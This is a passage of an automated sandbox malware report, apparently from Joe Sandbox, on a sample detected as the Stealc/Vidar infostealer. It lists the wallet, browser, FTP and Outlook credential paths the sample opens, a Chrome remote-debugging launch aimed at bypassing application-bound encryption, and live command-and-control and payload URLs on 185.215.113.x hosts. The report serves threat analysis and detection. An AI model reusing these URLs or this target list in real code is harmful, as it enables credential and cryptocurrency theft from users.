Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2518469068.000000000097C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2128, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2121691323.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2518469068.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2522496997.000000000137E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2128, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2128, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/mozglue.dllQ	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe450oie	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exe61395d7fRn	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpDisposition:	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exeosoft	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exerlencoded	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpoR	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exe6139Mn	100%	Avira URL Cloud	phishing
http://185.215.113.206lfons	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exeData	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.phpn)6	100%	Avira URL Cloud	malware
http://185.215.113.16/luma/random.exea5	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/freebl3.dllc	100%	Avira URL Cloud	malware
https://msn.comXIDv10	0%	Avira URL Cloud	safe
http://185.215.113.16/ons	100%	Avira URL Cloud	phishing
http://185.215.113.206oyo	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpS	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	216.58.206.78	true	false	high
play.google.com	142.250.186.174	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.122	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.196	true	false	high
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731796602159&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b?rn=1731796596344&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A9CD1F63BEE619E376CC4CF3AB960F7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731796601183&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731796601189&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AFHDGDGI.0.dr, Web Data.9.dr, EGDBAFHJ.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://duckduckgo.com/ac/?q=	AFHDGDGI.0.dr, Web Data.9.dr, EGDBAFHJ.0.dr	false		high
http://185.215.113.16/luma/random.exe61395d7fRn	skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/68b591d6548ec281/mozglue.dllQ	file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://ntp.msn.com/0	000003.log9.9.dr	false		high
https://ntp.msn.com/_default	QuotaManager.9.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.last.fm/	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_474.4.dr	false		high
https://docs.google.com/	manifest.json.9.dr	false		high
https://www.youtube.com	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://www.instagram.com	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exe6139Mn	skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive.google.com/	manifest.json.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exe450oie	skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpoR	file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.messenger.com	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://i.y.qq.com/n2/m/index.html	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://www.deezer.com/	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpDisposition:	file.exe, 00000000.00000002.2522496997.00000000013C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exerlencoded	skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206lfons	file.exe, 00000000.00000002.2518469068.0000000000965000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://web.telegram.org/	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr	false		high
http://185.215.113.16/luma/random.exeosoft	skotes.exe, 00000019.00000002.3347416746.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.9.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json.9.dr	false		high
https://vibe.naver.com/today	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AFHDGDGI.0.dr, Web Data.9.dr, EGDBAFHJ.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2522496997.0000000001414000.00000004.00000020.00020000.00000000.sdmp, AFHDGDGI.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.9.dr	false		high
https://excel.new?from=EdgeM365Shoreline	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json.9.dr	false		high
https://plus.google.com	chromecache_474.4.dr	false		high
https://www.google.com/chrome	content_new.js.9.dr, content.js.9.dr	false		high
https://www.tiktok.com/	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exeData	skotes.exe, 00000019.00000002.3347416746.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.43/Zu7JuNko/index.phpn)6	skotes.exe, 00000019.00000002.3347416746.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dllc	file.exe, 00000000.00000002.2522496997.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.9.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	FBFIDBFHDBGIDHJJEGHIIDAFID.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json0.9.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.9.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.9.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://msn.comXIDv10	Cookies.10.dr	false	Avira URL Cloud: safe	unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.9.dr	false		high
https://y.music.163.com/m/	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpS	file.exe, 00000000.00000002.2545619670.0000000023C5C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.9.dr	false		high
https://bard.google.com/	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpW	file.exe, 00000000.00000002.2545619670.0000000023C5C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://clients6.google.com	chromecache_474.4.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpU	skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.9.dr	false		high
https://web.whatsapp.com	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
http://185.215.113.16/luma/random.exea5	skotes.exe, 00000019.00000002.3347416746.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://m.kugou.com/	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpd	file.exe, 00000000.00000002.2522496997.00000000013F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://outlook.live.com/mail/0/	0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	false		high
http://185.215.113.206oyo	file.exe, 00000000.00000002.2522496997.000000000137E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
